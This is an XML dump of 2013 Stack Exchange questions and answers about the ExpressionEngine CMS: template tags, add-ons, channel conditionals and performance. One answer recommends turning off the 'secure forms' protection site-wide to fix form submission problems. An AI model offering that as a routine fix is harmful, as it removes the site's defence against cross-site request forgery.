  <row Id="14929" PostTypeId="2" ParentId="14927" CreationDate="2013-10-24T13:12:32.650" Score="2" Body="&lt;p&gt;Generally, EllisLab requires that each new release of their additional modules (MSM and Forum) be used only with the version of ExpressionEngine that was released at the same time - they don't maintain backwards-compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a valid license for the Forum module, and cannot upgrade from EE 2.3.0, then I'd contact EllisLab directly, provide your license key, and ask if they can supply you with a compatible, older version of Forum.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-24T13:12:32.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14930" PostTypeId="1" AcceptedAnswerId="14931" CreationDate="2013-10-24T13:24:14.887" Score="1" ViewCount="272" Body="&lt;p&gt;How should I use third party date picker?&#xA;Because EE date field seem not user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If my date is to insert birth date, then it is hard to navigate thru years.&#xA;2) how should I take away time in EE date field,cause i just need the date.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2013-10-24T13:32:10.993" Title="channel form date field customize" Tags="|date|channel-form|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14931" PostTypeId="2" ParentId="14930" CreationDate="2013-10-24T13:32:10.993" Score="3" Body="&lt;p&gt;I would suggest you to use DropDate field type &lt;a href=&quot;https://github.com/experience/dropdate.ee_addon/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/experience/dropdate.ee_addon/wiki&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/dropdate&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dropdate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-24T13:32:10.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14932" PostTypeId="2" ParentId="14888" CreationDate="2013-10-24T13:50:00.437" Score="1" Body="&lt;p&gt;Without knowing exactly what your content is and therefore how the &quot;sections&quot; relate to the &quot;pages&quot; it's hard to give a good answer, however I would probably steer away from categories altogether for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative solution might be to use two channels - one for parent sections, another for child pages, and use a relationship field in the section entries to specify which pages are part of that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display these on the front end without using the template_group in segment_1, you'll need to use the Pages module to override the URL on each parent section. You won't need to do this on all the child entries, as your specified template can simply look at segment_2 to fetch the right entry to display (using &lt;code&gt;url_title=&quot;{segment_2}&quot;&lt;/code&gt; and &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;). If you want to make this a bit smoother, there is an extension which automatically populates the Pages URI with the entry's url_title on publish: &lt;a href=&quot;http://devot-ee.com/add-ons/auto-pages-uri&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/auto-pages-uri&lt;/a&gt; ... never tried it myself.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-10-24T13:50:00.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14933" PostTypeId="1" AcceptedAnswerId="14943" CreationDate="2013-10-24T14:19:05.837" Score="1" ViewCount="732" Body="&lt;p&gt;When I use channel form File Upload field, it come together with the &quot;Select an existing file&quot; select box. Possible to take it away? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 of the way is javascript to hide it.&#xA;but any better way to not generate the select box?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2013-10-24T16:24:14.407" Title="Channel form File Upload field" Tags="|file-uploads|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14934" PostTypeId="2" ParentId="14888" CreationDate="2013-10-24T14:23:10.967" Score="1" Body="&lt;p&gt;Another option would be to use Template Routes &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/template-routes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-10-24T14:23:10.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14935" PostTypeId="1" AcceptedAnswerId="14972" CreationDate="2013-10-24T14:37:23.130" Score="0" ViewCount="88" Body="&lt;p&gt;i have a multi-language site setup with low search. every language has it's own collection - this works quite nice. Now i might have been a bit too excited about template partials and let the client fill in a lot of content in which he can insert all sorts of images and other stuff by doing for example &quot;{image_12}&quot;... this tags are now in my search-excerpts as well and i want them gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i try to filter them out with low replace but it finds only the first occurrences of my query. my code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:low_search:results query=&quot;{segment_3}&quot; status=&quot;not closed&quot; limit=&quot;10&quot; disable=&quot;member_data&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{language_code}{page_uri}&quot;&amp;gt;{bbr-mls:title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            {exp:low_replace find=&quot;\{.*?\}&quot; replace=&quot;&quot; regex=&quot;yes&quot;}{low_search_excerpt}{/exp:low_replace}&#xA;        &amp;lt;/li&amp;gt;&#xA;{/exp:low_search:results}    &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help much appreciate (and sorry low for bugging you on twitter - you are right, this is the place to ask.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers, moritz&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-10-25T09:34:15.980" Title="Low Replace inside Low search only finds first occurrence of query" Tags="|search|low-search|low-replace|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14936" PostTypeId="2" ParentId="14928" CreationDate="2013-10-24T15:04:51.630" Score="2" Body="&lt;p&gt;Do you have the &lt;strong&gt;required&lt;/strong&gt; parameter applied to the &lt;strong&gt;freeform:page:1&lt;/strong&gt; variable tag like the docs say (&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#required&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#required&lt;/a&gt;) or is it on the main &lt;strong&gt;freeform&lt;/strong&gt; tag pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;br&gt;&#xA;If you are using Composer I believe you need to remove the required parameter entirely from that tag and use the required option for each field you want instead&lt;/p&gt;&#xA;" OwnerUserId="766" LastEditorUserId="766" LastEditDate="2013-10-24T20:10:02.823" LastActivityDate="2013-10-24T20:10:02.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14937" PostTypeId="2" ParentId="14928" CreationDate="2013-10-24T15:06:42.203" Score="1" Body="&lt;pre&gt;&lt;code&gt;{freeform:page:1 required=&quot;name|phone|address&quot;}&#xA;    // content&#xA;{/freeform:page:1}&#xA;&#xA;{freeform:page:2 required=&quot;favorite_food|favorite_sports&quot;}&#xA;    // content&#xA;{/freeform:page:2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Straight from the docs: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_page_1&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_page_1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2013-10-24T15:06:42.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14938" PostTypeId="2" ParentId="14927" CreationDate="2013-10-24T15:19:52.180" Score="1" Body="&lt;p&gt;As Derek stated above, this all depends on the version of the Forum module you are using. If you can update each accordingly, you should be just fine. When all else fails, you could research the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/changelog.html&quot; rel=&quot;nofollow&quot;&gt;change logs&lt;/a&gt; for the discussion module on EllisLab's site and see if it fits your licensed versions.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-24T15:19:52.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14940" PostTypeId="1" AcceptedAnswerId="14941" CreationDate="2013-10-24T15:51:34.040" Score="1" ViewCount="66" Body="&lt;p&gt;In &lt;code&gt;function display_field()&lt;/code&gt;, if a fieldtype needs to use &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_head('/path/to/foo.css')&lt;/code&gt; and &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('/path/to/bar.js')&lt;/code&gt;, how can I get it to do so only once, even when the Publish page may have multiple instances of that field?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-10-24T16:12:06.477" Title="Prevent multiple add_to_head() calls" Tags="|add-on-development|custom-fields|fieldtype|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14941" PostTypeId="2" ParentId="14940" CreationDate="2013-10-24T16:12:06.477" Score="5" Body="&lt;p&gt;Use the session cache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;session-&amp;gt;cache(__CLASS__, __FUNCTION__) === FALSE)&#xA;{&#xA;  ee()-&amp;gt;cp-&amp;gt;add_to_head('/path/to/foo.css');&#xA;&#xA;  ee()-&amp;gt;session-&amp;gt;set_cache(__CLASS__, __FUNCTION__, TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your code will only run once per page load.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-24T16:12:06.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14943" PostTypeId="2" ParentId="14933" CreationDate="2013-10-24T16:24:14.407" Score="2" Body="&lt;p&gt;In the field settings for your file field simply uncheck the &lt;strong&gt;Show Existing Files&lt;/strong&gt; checkbox.&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2013-10-24T16:24:14.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14945" PostTypeId="2" ParentId="14438" CreationDate="2013-10-24T17:00:31.050" Score="1" Body="&lt;p&gt;If you're looking to order occurrences chronologically, you should be using &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. This is the only tag that will order occurrences in true chronological order. Details on why/how can be found here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-24T17:00:31.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14946" PostTypeId="2" ParentId="14924" CreationDate="2013-10-24T17:01:00.570" Score="1" Body="&lt;p&gt;Depending on whether you're using the Calendar:Month tag or the Calendar:Cal tag in &quot;Month&quot; form, the adjustment will be different. If you're using the Calendar:Month tag, I would suggest switching to the Calendar:Cal approach, as it's far more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the Advanced example:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/month/#advanced&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/month/#advanced&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the header, just adjust the URI paths ({path='calendar/month'}) to match your actual URI in the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr id=&quot;month_year&quot;&amp;gt;&#xA;        &amp;lt;th colspan=&quot;2&quot;&amp;gt;&amp;amp;laquo;&#xA;            &amp;lt;a href=&quot;{path='calendar/month'}/{prev_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&#xA;                {prev_month format=&quot;%F&quot;}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th colspan=&quot;3&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th colspan=&quot;2&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='calendar/month'}/{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&#xA;                {next_month format=&quot;%F&quot;}&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;amp;raquo;&#xA;        &amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you wish to continue using the Calendar:Month tag approach, you can modify the source code (which will look VERY similar to the code above) here:&#xA;/themes/third_party/calendar/templates/month.html&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-24T17:01:00.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14947" PostTypeId="1" CreationDate="2013-10-24T17:11:25.160" Score="3" ViewCount="96" Body="&lt;p&gt;In our EE1 installation we have the preference &quot;Auto-Assign Category Parents&quot; set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am faced with a situation where for once particular set of categories it would be very useful to have this as &quot;Yes&quot; but It still probably makes sense for it to be &quot;No&quot; system-wide tho so we are still leaving it off as I don't believe there's any way to have it work just for one set of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this...  Is there any way to &quot;automatically&quot; apply the parent category to all the entries that already have this particular subset of categories that I am interested in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see an EE2 answer here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4943/automatically-assign-parent-category-to-sub-category-entries&quot;&gt;Automatically assign parent category to sub-category entries?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am in EE1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to look at this in MySQL...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query gives me all the entries that I would like have the parent category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select distinct&#xA;    (t.entry_id)&#xA;from&#xA;    exp_weblog_titles t&#xA;        left join&#xA;    exp_category_posts cp ON t.entry_id = cp.entry_id&#xA;        left join&#xA;    exp_categories c ON c.cat_id = cp.cat_id&#xA;where&#xA;    t.weblog_id = 5 and c.parent_id = 4810&#xA;order by entry_id&#xA;limit 100000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what if some of them already the parent category assigned?  I don't want to categorize them twice.  I think I need to use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO exp_category_posts ...  &#xA;WHERE NOT EXISTS &#xA;    (SELECT * &#xA;    from exp_category_posts &#xA;    where cat_id =  4810 and entry_id = ?this_entry_id?)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the syntax is a little beyond me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I framed this as primarily a mySQL question I've &lt;a href=&quot;https://stackoverflow.com/questions/19591640/how-to-insert-select-where-not-exists-select&quot;&gt;cross-posted it to SO&lt;/a&gt; casting the question a little bit differently.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-09T06:00:35.300" Title="Assign parent category to entries with child categories (EE1)" Tags="|categories|ee1|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14948" PostTypeId="1" AcceptedAnswerId="14975" CreationDate="2013-10-24T17:40:56.193" Score="1" ViewCount="167" Body="&lt;p&gt;I am trying to display one entry (most recent) on my home page from 2 different channels.  So ChannelA and ChannelB. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;weblogA|weblogB&quot; limit=&quot;1&quot; sort=&quot;asc&quot; show_future_entries=&quot;yes&quot;}&#xA;{if weblog == &quot;weblogA&quot;} display A {/if}&#xA;{if weblog == &quot;weblogB&quot;} display B {/if}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above worked on an EE1 site but but now on an EE2 site and channel does not work the same.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channelA|channelB&quot; limit=&quot;1&quot; sort=&quot;asc&quot; show_future_entries=&quot;yes&quot;}&#xA;{if channel == &quot;channelA&quot;} display A {/if}&#xA;{if channel == &quot;channelB&quot;} display B {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice? &lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-10-25T12:17:50.637" LastActivityDate="2013-10-25T13:26:37.353" Title="if 2 channels on one page ie: if channel == &quot;channel1&quot;" Tags="|conditionals|ifelse|multiple-channels|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14949" PostTypeId="1" AcceptedAnswerId="14953" CreationDate="2013-10-24T18:05:08.073" Score="2" ViewCount="81" Body="&lt;p&gt;I have a slider at the top of my page using this HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id='top_slider'&amp;gt;&#xA;    {exp:channel:entries channel=&quot;home&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;!-- &amp;lt;div class=&quot;arrow_left white&quot; onclick=&quot;slide('left')&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;arrow_right white&quot; onclick=&quot;slide('right')&quot;&amp;gt;&amp;lt;/div&amp;gt; --&amp;gt;&#xA;        {home_promo_slider}&#xA;            {if active == 'y'}&#xA;                {if row_count == 2}&#xA;                    &amp;lt;div class=&quot;arrow_left white&quot; onclick=&quot;slide('right');stopAutoSlide();&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;arrow_right white&quot; onclick=&quot;slide('left');stopAutoSlide();&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;div class='slide'&amp;gt;&#xA;                    {if url != ''}&amp;lt;a href=&quot;{url}&quot;&amp;gt;{/if}&#xA;                    &amp;lt;img class=&quot;fullscreen_img&quot; src='{image}' /&amp;gt;&#xA;                    {if url != ''}&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;        {/home_promo_slider}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to link the images to a URL specified in the Homepage Content using a channel field. The problem is that this only works for internal links currently. If I enter &quot;store&quot; into the URL field it correctly takes me to &lt;a href=&quot;http://mywebsite.com/store&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/store&lt;/a&gt;, but if I enter an external link such as &lt;a href=&quot;http://google.com&quot; rel=&quot;nofollow&quot;&gt;http://google.com&lt;/a&gt;, the href becomes malformed and spits out this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;amp;lt;a href=&quot; http:=&quot;&quot; google.com&quot;=&quot;&quot;&amp;gt;http://google.com&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2013-10-24T18:35:21.740" Title="Malformed href using {url} for slider link" Tags="|channel|fields|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14950" PostTypeId="1" CreationDate="2013-10-24T18:20:19.907" Score="1" ViewCount="86" Body="&lt;p&gt;I have a site running playa module and it's painfully slow to run any queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my tag code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;sous_sous_categorie&quot; url_title=&quot;{segment_4}&quot; dynamic=&quot;no&quot;}                &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    {if {exp:playa:total_parents}}&#xA;                        {if segment_2 != &quot;nouveautes&quot;}&#xA;                        &amp;lt;h1 class=&quot;rang&quot;&amp;gt;{embed=&quot;kanuk/.get_sous-sous-cat-lang&quot; url_title=&quot;{url_title}&quot;}&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;div class=&quot;article&quot;&amp;gt;&#xA;                        {/if}&#xA;                            {exp:playa:parents channel=&quot;article&quot; var_prefix=&quot;article&quot;}&#xA;&#xA;                                &amp;lt;?php $article_entry_id = &quot;{article:entry_id}&quot;; ?&amp;gt;&#xA;&#xA;                                {article:categorie}                                     &#xA;                                    {if &quot;{segment_2}&quot; == &quot;{article:url_title}&quot;}                                 &#xA;                                            {embed=&quot;kanuk/.coat_render&quot; last_entry_id=&quot;&amp;lt;?php echo $article_entry_id; ?&amp;gt;&quot;}&#xA;                                    {/if}&#xA;                                {/article:categorie}&#xA;                            {/exp:playa:parents}&#xA;&#xA;                            {if segment_2 != &quot;nouveautes&quot;}&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- END article --&amp;gt;&#xA;                            {/if}&#xA;                    {/if}&#xA;&#xA;                {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which loads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot; entry_id=&quot;{embed:last_entry_id}&quot; dynamic=&quot;no&quot;}&#xA;    {sous_categorie}&#xA;    {if &quot;{url_title}&quot; == &quot;{segment_3}&quot; || &quot;{segment_3}&quot; == &quot;&quot;}&#xA;    &amp;lt;div class=&quot;manteau&quot; style=&quot;&quot;&amp;gt;&#xA;        {embed=&quot;kanuk/.coat_render2&quot; last_entry_id=&quot;{embed:last_entry_id}&quot;} &#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- END manteau --&amp;gt;&#xA;    {/if}&#xA;    {/sous_categorie}       &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which loads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;article&quot; entry_id=&quot;{embed:last_entry_id}&quot; dynamic=&quot;no&quot;}&#xA;            &#xA;                {categorie}&lt;br&gt;&#xA;                    {if title == &quot;Nouveautés&quot;}&#xA;                        &#xA;                    {/if}&#xA;                {/categorie}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;ul class=&quot;couleurList&quot;&amp;gt;&#xA;                    {couleur_produit}                       &#xA;                    &amp;lt;li&amp;gt;&amp;lt;div style=&quot;width:48px; height:30px; background-color:{swatch}&quot; data-load=&quot;{couleur_{language_code}}&quot; alt=&quot;{couleur_{language_code}}&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/couleur_produit}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {images_produit cover_only=&quot;yes&quot;}&amp;lt;img src=&quot;{image:url:medium}&quot; width=&quot;220&quot; height=&quot;280&quot; alt=&quot;{title}&quot;&amp;gt;{/images_produit}&#xA;            &amp;lt;div class=&quot;manteauNom&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;manteauPrix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;prixreg&quot;&amp;gt;&#xA;                    {if &quot;{language_code}&quot; == &quot;en&quot;}&#xA;                        ${prix_regulier}&#xA;                    {if:elseif &quot;{language_code}&quot; == &quot;fr&quot;}&#xA;                        {prix_regulier} $&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you offer any hints / best practices to speed up page load time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm convinced nesting these queries 3 layer deep is not helping but I don't know of another way of achieving my goal !&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="197" LastEditDate="2013-10-24T19:51:51.077" LastActivityDate="2013-10-24T19:51:51.077" Title="Playa Plug in - Slows down site to a crawl?" Tags="|playa|pixelandtonic|performance|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14951" PostTypeId="2" ParentId="14948" CreationDate="2013-10-24T18:20:48.330" Score="1" Body="&lt;p&gt;Assuming you are using EE1 you'll want to use &lt;code&gt;weblog_short_name&lt;/code&gt; or &lt;code&gt;weblog_id&lt;/code&gt; in your conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if weblog_short_name == &quot;some_weblog_name&quot;}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if weblog_id == &quot;1&quot;}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As Robson pointed out &lt;strong&gt;&quot;weblog&quot; is specific to EE1.&lt;/strong&gt; So if you are using EE2 just replace the word &quot;weblog&quot; with &quot;channel.&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-24T21:01:03.807" LastActivityDate="2013-10-24T21:01:03.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14953" PostTypeId="2" ParentId="14949" CreationDate="2013-10-24T18:24:54.177" Score="1" Body="&lt;p&gt;Check the Channel Preferences for this Channel for the &lt;em&gt;Automatically turn URLs and email addresses into links&lt;/em&gt; option. It sounds like you have it set to &quot;Yes&quot; and this is causing the malformed HTML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control Panel Location: Admin &gt; Channel Administration &gt; Channels &gt; Edit Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/31FRv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#automatically-turn-urls-and-email-addresses-into-links&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-24T18:35:21.740" LastActivityDate="2013-10-24T18:35:21.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14954" PostTypeId="2" ParentId="14920" CreationDate="2013-10-24T19:11:30.687" Score="1" Body="&lt;p&gt;As of this writing, Importer does not read XML node attributes, such as lang=&quot;es&quot; for example. Therefore, Importer will read only the first node of a series of nodes named exactly the same, &lt;code&gt;&amp;lt;description&amp;gt;&lt;/code&gt; in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround would be to use different node names for &quot;en&quot; and &quot;es&quot; nodes. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;description_es&amp;gt;... data ...&amp;lt;/description_en&amp;gt;&#xA;&amp;lt;description_en&amp;gt;... data ...&amp;lt;/description_en&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-24T19:11:30.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14955" PostTypeId="2" ParentId="14913" CreationDate="2013-10-24T19:14:19.760" Score="3" Body="&lt;p&gt;You need to disable secure forms (in the control panel under Admin &gt; Security &amp;amp; Privacy &gt; Security and Sessions, set &quot;Process form data in Secure Mode?&quot; to &quot;No&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some changes made in EE 2.7 have made the secure forms feature a nightmare to work with, and on most sites it causes more trouble than it is worth (for example, back button is totally broken with form submissions, AJAX submissions are overly difficult to work with, and requests from third party servers like eWay are blocked entirely). The easiest solution is just to disable secure forms for the time being. We're talking to Ellislab about this but it is unclear at this stage whether they will revert the change in a future version of EE.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-24T19:14:19.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
